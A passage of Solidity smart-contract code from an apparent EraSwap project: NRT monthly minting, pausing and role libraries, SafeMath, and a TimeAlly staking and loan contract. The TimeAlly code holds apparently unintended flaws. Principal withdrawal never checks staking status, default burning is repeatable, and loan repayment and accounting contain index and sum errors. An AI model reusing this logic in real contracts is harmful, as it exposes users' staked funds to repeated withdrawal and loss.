emit PoolAddressAdded( "NewTalentsAndPartnerships", newTalentsAndPartnerships);
}
if((pool[1] != address(0)) && (platformMaintenance == address(0))){
platformMaintenance = pool[1];
emit PoolAddressAdded( "PlatformMaintenance", platformMaintenance);
}
if((pool[2] != address(0)) && (marketingAndRNR == address(0))){
marketingAndRNR = pool[2];
emit PoolAddressAdded( "MarketingAndRNR", marketingAndRNR);
}
if((pool[3] != address(0)) && (kmPards == address(0))){
kmPards = pool[3];
emit PoolAddressAdded( "KmPards", kmPards);
}
if((pool[4] != address(0)) && (contingencyFunds == address(0))){
contingencyFunds = pool[4];
emit PoolAddressAdded( "ContingencyFunds", contingencyFunds);
}
if((pool[5] != address(0)) && (researchAndDevelopment == address(0))){
researchAndDevelopment = pool[5];
emit PoolAddressAdded( "ResearchAndDevelopment", researchAndDevelopment);
}
if((pool[6] != address(0)) && (powerToken == address(0))){
powerToken = pool[6];
emit PoolAddressAdded( "PowerToken", powerToken);
}
if((pool[7] != address(0)) && (timeSwappers == address(0))){
timeSwappers = pool[7];
emit PoolAddressAdded( "TimeSwapper", timeSwappers);
}
if((pool[8] != address(0)) && (timeAlly == address(0))){
timeAlly = pool[8];
emit PoolAddressAdded( "TimeAlly", timeAlly);
}
return true;
}
/**
* @dev Function to update luckpool balance
* @param amount Amount to be updated
*/
function UpdateLuckpool(uint256 amount) external OnlyAllowed returns(bool){
luckPoolBal = luckPoolBal.add(amount);
emit LuckPoolUpdated(luckPoolBal);
return true;
}
/**
* @dev Function to trigger to update for burning of tokens
* @param amount Amount to be updated
*/
function UpdateBurnBal(uint256 amount) external OnlyAllowed returns(bool){
burnTokenBal = burnTokenBal.add(amount);
emit BurnTokenBalUpdated(burnTokenBal);
return true;
}
/**
* @dev To invoke monthly release
* @return true if success
*/
function MonthlyNRTRelease() external returns (bool) {
require(now.sub(lastNRTRelease)> 2629744,"NRT release happens once every month");
uint256 NRTBal = monthlyNRTAmount.add(luckPoolBal); // Total NRT available.
// Calculating NRT to be released to each of the pools
newTalentsAndPartnershipsBal = (NRTBal.mul(5)).div(100);
platformMaintenanceBal = (NRTBal.mul(10)).div(100);
marketingAndRNRBal = (NRTBal.mul(10)).div(100);
kmPardsBal = (NRTBal.mul(10)).div(100);
contingencyFundsBal = (NRTBal.mul(10)).div(100);
researchAndDevelopmentBal = (NRTBal.mul(5)).div(100);
powerTokenNRT = (NRTBal.mul(10)).div(100);
timeAllyNRT = (NRTBal.mul(15)).div(100);
timeSwappersNRT = (NRTBal.mul(25)).div(100);
// sending tokens to respective wallets and emitting events
token.mint(newTalentsAndPartnerships,newTalentsAndPartnershipsBal);
emit NRTTransfer("newTalentsAndPartnerships", newTalentsAndPartnerships, newTalentsAndPartnershipsBal);
token.mint(platformMaintenance,platformMaintenanceBal);
emit NRTTransfer("platformMaintenance", platformMaintenance, platformMaintenanceBal);
token.mint(marketingAndRNR,marketingAndRNRBal);
emit NRTTransfer("marketingAndRNR", marketingAndRNR, marketingAndRNRBal);
token.mint(kmPards,kmPardsBal);
emit NRTTransfer("kmPards", kmPards, kmPardsBal);
token.mint(contingencyFunds,contingencyFundsBal);
emit NRTTransfer("contingencyFunds", contingencyFunds, contingencyFundsBal);
token.mint(researchAndDevelopment,researchAndDevelopmentBal);
emit NRTTransfer("researchAndDevelopment", researchAndDevelopment, researchAndDevelopmentBal);
token.mint(powerToken,powerTokenNRT);
emit NRTTransfer("powerToken", powerToken, powerTokenNRT);
token.mint(timeAlly,timeAllyNRT);
TimeAlly timeAllyContract = TimeAlly(timeAlly);
timeAllyContract.increaseMonth(timeAllyNRT);
emit NRTTransfer("stakingContract", timeAlly, timeAllyNRT);
token.mint(timeSwappers,timeSwappersNRT);
emit NRTTransfer("timeSwappers", timeSwappers, timeSwappersNRT);
// Reseting NRT
emit NRTDistributed(NRTBal);
luckPoolBal = 0;
lastNRTRelease = lastNRTRelease.add(2629744); // @dev adding seconds according to 1 Year = 365.242 days
burnTokens(); // burning burnTokenBal
emit TokensBurned(burnTokenBal);
if(monthCount == 11){
monthCount = 0;
annualNRTAmount = (annualNRTAmount.mul(90)).div(100);
monthlyNRTAmount = annualNRTAmount.div(12);
}
else{
monthCount = monthCount.add(1);
}
return true;
}
/**
* @dev Constructor
*/
constructor(address eraswaptoken) public{
token = Eraswap(eraswaptoken);
lastNRTRelease = now;
annualNRTAmount = 819000000000000000000000000;
monthlyNRTAmount = annualNRTAmount.div(uint256(12));
monthCount = 0;
Owner = msg.sender;
}
}
pragma solidity ^0.5.2;
import "./PauserRole.sol";
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused(address account);
event Unpaused(address account);
bool private _paused;
constructor () internal {
_paused = false;
}
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
pragma solidity ^0.5.2;
import "./Roles.sol";
contract PauserRole {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor () internal {
_addPauser(msg.sender);
}
modifier onlyPauser() {
require(isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(msg.sender);
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
pragma solidity ^0.5.2;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.2;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.5.10;
import './SafeMath.sol';
import './Eraswap.sol';
import './NRTManager.sol';
/*
Potential bugs: this contract is designed assuming NRT Release will happen every month.
There might be issues when the NRT scheduled
- added stakingMonth property in Staking struct
fix withdraw fractionFrom15 luck pool
- done
add loanactive contition to take loan
- done
ensure stakingMonth in the struct is being used every where instead of calculation
- done
remove local variables uncesessary
final the earthSecondsInMonth amount in TimeAlly as well in NRT
add events for required functions
*/
/// @author The EraSwap Team
/// @title TimeAlly Smart Contract
/// @dev all require statement message strings are commented to make contract deployable by lower the deploying gas fee
contract TimeAlly {
using SafeMath for uint256;
struct Staking {
uint256 exaEsAmount;
uint256 timestamp;
uint256 stakingMonth;
uint256 stakingPlanId;
uint256 status; /// @dev 1 => active; 2 => loaned; 3 => withdrawed; 4 => cancelled; 5 => nomination mode
uint256 loanId;
uint256 totalNominationShares;
mapping (uint256 => bool) isMonthClaimed;
mapping (address => uint256) nomination;
}
struct StakingPlan {
uint256 months;
uint256 fractionFrom15; /// @dev fraction of NRT released. Alotted to TimeAlly is 15% of NRT
// bool isPlanActive; /// @dev when plan is inactive, new stakings must not be able to select this plan. Old stakings which already selected this plan will continue themselves as per plan.
bool isUrgentLoanAllowed; /// @dev if urgent loan is not allowed then staker can take loan only after 75% (hard coded) of staking months
}
struct Loan {
uint256 exaEsAmount;
uint256 timestamp;
uint256 loanPlanId;
uint256 status; // @dev 1 => not repayed yet; 2 => repayed
uint256[] stakingIds;
}
struct LoanPlan {
uint256 loanMonths;
uint256 loanRate; // @dev amount of charge to pay, this will be sent to luck pool
uint256 maxLoanAmountPercent; /// @dev max loan user can take depends on this percent of the plan and the stakings user wishes to put for the loan
}
uint256 public deployedTimestamp;
address public owner;
Eraswap public token;
NRTManager public nrtManager;
/// @dev 1 Year = 365.242 days for taking care of leap years
uint256 public earthSecondsInMonth = 2629744;
// uint256 earthSecondsInMonth = 30 * 12 * 60 * 60; /// @dev there was a decision for following 360 day year
StakingPlan[] public stakingPlans;
LoanPlan[] public loanPlans;
// user activity details:
mapping(address => Staking[]) public stakings;
mapping(address => Loan[]) public loans;
mapping(address => uint256) public launchReward;
/// @dev TimeAlly month to exaEsAmount mapping.
mapping (uint256 => uint256) public totalActiveStakings;
/// @notice NRT being received from NRT Manager every month is stored in this array
/// @dev current month is the length of this array
uint256[] public timeAllyMonthlyNRT;
event NewStaking (
address indexed _userAddress,
uint256 indexed _stakePlanId,
uint256 _exaEsAmount,
uint256 _stakingId
);
event PrincipalWithdrawl (
address indexed _userAddress,
uint256 _stakingId
);
event NomineeNew (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress
);
event NomineeWithdraw (
address indexed _userAddress,
uint256 indexed _stakingId,
address indexed _nomineeAddress,
uint256 _liquid,
uint256 _accrued
);
event BenefitWithdrawl (
address indexed _userAddress,
uint256 _stakingId,
uint256[] _months,
uint256 _halfBenefit
);
event NewLoan (
address indexed _userAddress,
uint256 indexed _loanPlanId,
uint256 _exaEsAmount,
uint256 _loanInterest,
uint256 _loanId
);
event RepayLoan (
address indexed _userAddress,
uint256 _loanId
);
modifier onlyNRTManager() {
require(
msg.sender == address(nrtManager)
// , 'only NRT manager can call'
);
_;
}
modifier onlyOwner() {
require(
msg.sender == owner
// , 'only deployer can call'
);
_;
}
/// @notice sets up TimeAlly contract when deployed
/// @param _tokenAddress - is EraSwap contract address
/// @param _nrtAddress - is NRT Manager contract address
constructor(address _tokenAddress, address _nrtAddress) public {
owner = msg.sender;
token = Eraswap(_tokenAddress);
nrtManager = NRTManager(_nrtAddress);
deployedTimestamp = now;
timeAllyMonthlyNRT.push(0); /// @dev first month there is no NRT released
}
/// @notice this function is used by NRT manager to communicate NRT release to TimeAlly
function increaseMonth(uint256 _timeAllyNRT) public onlyNRTManager {
timeAllyMonthlyNRT.push(_timeAllyNRT);
}
/// @notice TimeAlly month is dependent on the monthly NRT release
/// @return current month is the TimeAlly month
function getCurrentMonth() public view returns (uint256) {
return timeAllyMonthlyNRT.length - 1;
}
/// @notice this function is used by owner to create plans for new stakings
/// @param _months - is number of staking months of a plan. for eg. 12 months
/// @param _fractionFrom15 - NRT fraction (max 15%) benefit to be given to user. rest is sent back to NRT in Luck Pool
/// @param _isUrgentLoanAllowed - if urgent loan is not allowed then staker can take loan only after 75% of time elapsed
function createStakingPlan(uint256 _months, uint256 _fractionFrom15, bool _isUrgentLoanAllowed) public onlyOwner {
stakingPlans.push(StakingPlan({
months: _months,
fractionFrom15: _fractionFrom15,
// isPlanActive: true,
isUrgentLoanAllowed: _isUrgentLoanAllowed
}));
}
/// @notice this function is used by owner to create plans for new loans
/// @param _loanMonths - number of months or duration of loan, loan taker must repay the loan before this period
/// @param _loanRate - this is total % of loaning amount charged while taking loan, this charge is sent to luckpool in NRT manager which ends up distributed back to the community again
function createLoanPlan(uint256 _loanMonths, uint256 _loanRate, uint256 _maxLoanAmountPercent) public onlyOwner {
require(_maxLoanAmountPercent <= 100
// , 'everyone should not be able to take loan more than 100 percent of their stakings'
);
loanPlans.push(LoanPlan({
loanMonths: _loanMonths,
loanRate: _loanRate,
maxLoanAmountPercent: _maxLoanAmountPercent
}));
}
/// @notice takes ES from user and locks it for a time according to plan selected by user
/// @param _exaEsAmount - amount of ES tokens (in 18 decimals thats why 'exa') that user wishes to stake
/// @param _stakingPlanId - plan for staking
function newStaking(uint256 _exaEsAmount, uint256 _stakingPlanId) public {
/// @dev 0 ES stakings would get 0 ES benefits and might cause confusions as transaction would confirm but total active stakings will not increase
require(_exaEsAmount > 0
// , 'staking amount should be non zero'
);
require(token.transferFrom(msg.sender, address(this), _exaEsAmount)
// , 'could not transfer tokens'
);
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(_exaEsAmount);
}
stakings[msg.sender].push(Staking({
exaEsAmount: _exaEsAmount,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, _exaEsAmount, stakings[msg.sender].length - 1);
}
/// @notice this function is used to see total stakings of any user of TimeAlly
/// @param _userAddress - address of user
/// @return number of stakings of _userAddress
function getNumberOfStakingsByUser(address _userAddress) public view returns (uint256) {
return stakings[_userAddress].length;
}
/// @notice this function is used to topup reward balance in smart contract. Rewards are transferable. Anyone with reward balance can only claim it as a new staking.
/// @dev Allowance is required before topup.
/// @param _exaEsAmount - amount to add to your rewards for sending rewards to others
function topupRewardBucket(uint256 _exaEsAmount) public {
require(token.transferFrom(msg.sender, address(this), _exaEsAmount));
launchReward[msg.sender] = launchReward[msg.sender].add(_exaEsAmount);
}
/// @notice this function is used to send rewards to multiple users
/// @param _addresses - array of address to send rewards
/// @param _exaEsAmountArray - array of ExaES amounts sent to each address of _addresses with same index
function giveLaunchReward(address[] memory _addresses, uint256[] memory _exaEsAmountArray) public onlyOwner {
for(uint256 i = 0; i < _addresses.length; i++) {
launchReward[msg.sender] = launchReward[msg.sender].sub(_exaEsAmountArray[i]);
launchReward[_addresses[i]] = launchReward[_addresses[i]].add(_exaEsAmountArray[i]);
}
}
/// @notice this function is used by rewardees to claim their accrued rewards. This is also used by stakers to restake their 50% benefit received as rewards
/// @param _stakingPlanId - rewardee can choose plan while claiming rewards as stakings
function claimLaunchReward(uint256 _stakingPlanId) public {
// require(stakingPlans[_stakingPlanId].isPlanActive
// // , 'selected plan is not active'
// );
require(launchReward[msg.sender] > 0
// , 'launch reward should be non zero'
);
uint256 reward = launchReward[msg.sender];
launchReward[msg.sender] = 0;
// @dev logic similar to newStaking function
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(reward); /// @dev reward means locked ES which only staking option
}
stakings[msg.sender].push(Staking({
exaEsAmount: reward,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, reward, stakings[msg.sender].length - 1);
}
/// @notice used internally to see if staking is active or not. does not include if staking is claimed.
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _atMonth - particular month to check staking active
/// @return true is staking is in correct time frame and also no loan on it
function isStakingActive(
address _userAddress,
uint256 _stakingId,
uint256 _atMonth
) public view returns (bool) {
//uint256 stakingMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
return (
/// @dev _atMonth should be a month after which staking starts
stakings[_userAddress][_stakingId].stakingMonth + 1 <= _atMonth
/// @dev _atMonth should be a month before which staking ends
&& stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[ stakings[_userAddress][_stakingId].stakingPlanId ].months >= _atMonth
/// @dev staking should have active status
&& stakings[_userAddress][_stakingId].status == 1
/// @dev if _atMonth is current Month, then withdrawal should be allowed only after 30 days interval since staking
&& (
getCurrentMonth() != _atMonth
|| now >= stakings[_userAddress][_stakingId].timestamp
.add(
getCurrentMonth()
.sub(stakings[_userAddress][_stakingId].stakingMonth)
.mul(earthSecondsInMonth)
)
)
);
}
/// @notice this function is used for seeing the benefits of a staking of any user
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to see benefits.
/// @return amount of ExaES of benefits of entered months
function seeBenefitOfAStakingByMonths(
address _userAddress,
uint256 _stakingId,
uint256[] memory _months
) public view returns (uint256) {
uint256 benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
/// @dev this require statement is converted into if statement for easier UI fetching. If there is no benefit for a month or already claimed, it will consider benefit of that month as 0 ES. But same is not done for withdraw function.
// require(
// isStakingActive(_userAddress, _stakingId, _months[i])
// && !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(_userAddress, _stakingId, _months[i])
&& !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]) {
uint256 benefit = stakings[_userAddress][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
benefitOfAllMonths = benefitOfAllMonths.add(benefit);
}
}
return benefitOfAllMonths.mul(
stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15
).div(15);
}
/// @notice this function is used for withdrawing the benefits of a staking of any user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to withdraw benefits of staking.
function withdrawBenefitOfAStakingByMonths(
uint256 _stakingId,
uint256[] memory _months
) public {
uint256 _benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
// require(
// isStakingActive(msg.sender, _stakingId, _months[i])
// && !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(msg.sender, _stakingId, _months[i])
&& !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]) {
uint256 _benefit = stakings[msg.sender][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
_benefitOfAllMonths = _benefitOfAllMonths.add(_benefit);
stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]] = true;
}
}
uint256 _luckPool = _benefitOfAllMonths
.mul( uint256(15).sub(stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].fractionFrom15) )
.div( 15 );
require( token.transfer(address(nrtManager), _luckPool) );
require( nrtManager.UpdateLuckpool(_luckPool) );
_benefitOfAllMonths = _benefitOfAllMonths.sub(_luckPool);
uint256 _halfBenefit = _benefitOfAllMonths.div(2);
require( token.transfer(msg.sender, _halfBenefit) );
launchReward[msg.sender] = launchReward[msg.sender].add(_halfBenefit);
// emit event
emit BenefitWithdrawl(msg.sender, _stakingId, _months, _halfBenefit);
}
/// @notice this function is used to withdraw the principle amount of multiple stakings which have their tenure completed
/// @param _stakingIds - input which stakings to withdraw
function withdrawExpiredStakings(uint256[] memory _stakingIds) public {
for(uint256 i = 0; i < _stakingIds.length; i++) {
require(now >= stakings[msg.sender][_stakingIds[i]].timestamp
.add(stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth))
// , 'cannot withdraw before staking ends'
);
stakings[msg.sender][_stakingIds[i]].status = 3;
token.transfer(msg.sender, stakings[msg.sender][_stakingIds[i]].exaEsAmount);
emit PrincipalWithdrawl(msg.sender, _stakingIds[i]);
}
}
/// @notice this function is used to estimate the maximum amount of loan that any user can take with their stakings
/// @param _userAddress - address of user
/// @param _stakingIds - array of staking ids which should be used to estimate max loan amount
/// @param _loanPlanId - the loan plan user wishes to take loan.
/// @return max loaning amount
function seeMaxLoaningAmountOnUserStakings(address _userAddress, uint256[] memory _stakingIds, uint256 _loanPlanId) public view returns (uint256) {
uint256 _currentMonth = getCurrentMonth();
//require(_currentMonth >= _atMonth, 'cannot see future stakings');
uint256 userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if(isStakingActive(_userAddress, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[_userAddress][_stakingIds[i]].timestamp + stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
userStakingsExaEsAmount = userStakingsExaEsAmount
.add(stakings[_userAddress][_stakingIds[i]].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
// .mul(stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].fractionFrom15)
// .div(15)
);
}
}
return userStakingsExaEsAmount;
//.mul( uint256(100).sub(loanPlans[_loanPlanId].loanRate) ).div(100);
}
/// @notice this function is used to take loan on multiple stakings
/// @param _loanPlanId - user can select this plan which defines loan duration and loan interest
/// @param _exaEsAmount - loan amount, this will also be the loan repay amount, the interest will first be deducted from this and then amount will be credited
/// @param _stakingIds - staking ids user wishes to encash for taking the loan
function takeLoanOnSelfStaking(uint256 _loanPlanId, uint256 _exaEsAmount, uint256[] memory _stakingIds) public {
// @dev when loan is to be taken, first calculate active stakings from given stakings array. this way we can get how much loan user can take and simultaneously mark stakings as claimed for next months number loan period
uint256 _currentMonth = getCurrentMonth();
uint256 _userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if( isStakingActive(msg.sender, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[msg.sender][_stakingIds[i]].timestamp + stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
// @dev store sum in a number
_userStakingsExaEsAmount = _userStakingsExaEsAmount
.add(
stakings[msg.sender][ _stakingIds[i] ].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
);
// @dev subtract total active stakings
uint256 stakingStartMonth = stakings[msg.sender][_stakingIds[i]].stakingMonth;
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingIds[i]].stakingPlanId].months;
for(uint256 j = _currentMonth + 1; j <= stakeEndMonth; j++) {
totalActiveStakings[j] = totalActiveStakings[j].sub(_userStakingsExaEsAmount);
}
// @dev make stakings inactive
for(uint256 j = 1; j <= loanPlans[_loanPlanId].loanMonths; j++) {
stakings[msg.sender][ _stakingIds[i] ].isMonthClaimed[ _currentMonth + j ] = true;
stakings[msg.sender][ _stakingIds[i] ].status = 2; // means in loan
}
}
}
uint256 _maxLoaningAmount = _userStakingsExaEsAmount;
if(_exaEsAmount > _maxLoaningAmount) {
require(false
// , 'cannot loan more than maxLoaningAmount'
);
}
uint256 _loanInterest = _exaEsAmount.mul(loanPlans[_loanPlanId].loanRate).div(100);
uint256 _loanAmountToTransfer = _exaEsAmount.sub(_loanInterest);
require( token.transfer(address(nrtManager), _loanInterest) );
require( nrtManager.UpdateLuckpool(_loanInterest) );
loans[msg.sender].push(Loan({
exaEsAmount: _exaEsAmount,
timestamp: now,
loanPlanId: _loanPlanId,
status: 1,
stakingIds: _stakingIds
}));
// @dev send user amount
require( token.transfer(msg.sender, _loanAmountToTransfer) );
emit NewLoan(msg.sender, _loanPlanId, _exaEsAmount, _loanInterest, loans[msg.sender].length - 1);
}
/// @notice repay loan functionality
/// @dev need to give allowance before this
/// @param _loanId - select loan to repay
function repayLoanSelf(uint256 _loanId) public {
require(loans[msg.sender][_loanId].status == 1
// , 'can only repay pending loans'
);
require(loans[msg.sender][_loanId].timestamp + loanPlans[ loans[msg.sender][_loanId].loanPlanId ].loanMonths.mul(earthSecondsInMonth) > now
// , 'cannot repay expired loan'
);
require(token.transferFrom(msg.sender, address(this), loans[msg.sender][_loanId].exaEsAmount)
// , 'cannot receive enough tokens, please check if allowance is there'
);
loans[msg.sender][_loanId].status = 2;
// @dev get all stakings associated with this loan. and set next unclaimed months. then set status to 1 and also add to totalActiveStakings
for(uint256 i = 0; i < loans[msg.sender][_loanId].stakingIds.length; i++) {
uint256 _stakingId = loans[msg.sender][_loanId].stakingIds[i];
stakings[msg.sender][_stakingId].status = 1;
uint256 stakingStartMonth = stakings[msg.sender][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].months;
for(uint256 j = getCurrentMonth() + 1; j <= stakeEndMonth; j++) {
stakings[msg.sender][_stakingId].isMonthClaimed[i] = false;
totalActiveStakings[j] = totalActiveStakings[j].add(stakings[msg.sender][_stakingId].exaEsAmount);
}
}
// add repay event
emit RepayLoan(msg.sender, _loanId);
}
function burnDefaultedLoans(address[] memory _addressArray, uint256[] memory _loanIdArray) public {
uint256 _amountToBurn;
for(uint256 i = 0; i < _addressArray.length; i++) {
require(
loans[ _addressArray[i] ][ _loanIdArray[i] ].status == 1
// , 'loan should not be repayed'
);
require(
now >
loans[ _addressArray[i] ][ _loanIdArray[i] ].timestamp
+ loanPlans[ loans[ _addressArray[i] ][ _loanIdArray[i] ].loanPlanId ].loanMonths.mul(earthSecondsInMonth)
// , 'loan should have crossed its loan period'
);
uint256[] storage _stakingIdsOfLoan = loans[ _addressArray[i] ][ _loanIdArray[i] ].stakingIds;
/// @dev add staking amounts of all stakings on which loan is taken
for(uint256 j = 0; j < _stakingIdsOfLoan.length; j++) {
_amountToBurn = _amountToBurn.add(
stakings[ _addressArray[i] ][ _stakingIdsOfLoan[j] ].exaEsAmount
);
}
/// @dev sub loan amount
_amountToBurn = _amountToBurn.sub(
loans[ _addressArray[i] ][ _loanIdArray[i] ].exaEsAmount
);
}
require(token.transfer(address(nrtManager), _amountToBurn));
require(nrtManager.UpdateBurnBal(_amountToBurn));
// emit event
}
/// @notice this function is used to add nominee to a staking
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee to be added to staking
/// @param _shares - amount of shares of the staking to the nominee
/// @dev shares is compared with total shares issued in a staking to see the percent nominee can withdraw. Nominee can withdraw only after one year past the end of tenure of staking. Upto 1 year past the end of tenure of staking, owner can withdraw principle amount of staking as well as can CRUD nominees. Owner of staking is has this time to withdraw their staking, if they fail to do so, after that nominees are allowed to withdraw. Withdrawl by first nominee will trigger staking into nomination mode and owner of staking cannot withdraw the principle amount as it will be distributed with only nominees and only they can withdraw it.
function addNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
require(stakings[msg.sender][_stakingId].status == 1
// , 'staking should active'
);
require(stakings[msg.sender][_stakingId].nomination[_nomineeAddress] == 0
// , 'should not be nominee already'
);
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_shares);
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = _shares;
emit NomineeNew(msg.sender, _stakingId, _nomineeAddress);
}
/// @notice this function is used to read the nomination of a nominee address of a staking of a user
/// @param _userAddress - address of staking owner
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
/// @return nomination of the nominee
function viewNomination(address _userAddress, uint256 _stakingId, address _nomineeAddress) public view returns (uint256) {
return stakings[_userAddress][_stakingId].nomination[_nomineeAddress];
}
// /// @notice this function is used to update nomination of a nominee of sender's staking
// /// @param _stakingId - staking id
// /// @param _nomineeAddress - address of nominee
// /// @param _shares - shares to be updated for the nominee
// function updateNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
// require(stakings[msg.sender][_stakingId].status == 1
// // , 'staking should active'
// );
// uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[_nomineeAddress];
// if(_shares > _oldShares) {
// uint256 _diff = _shares.sub(_oldShares);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_diff);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].add(_diff);
// } else if(_shares < _oldShares) {
// uint256 _diff = _oldShares.sub(_shares);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].sub(_diff);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_diff);
// }
// }
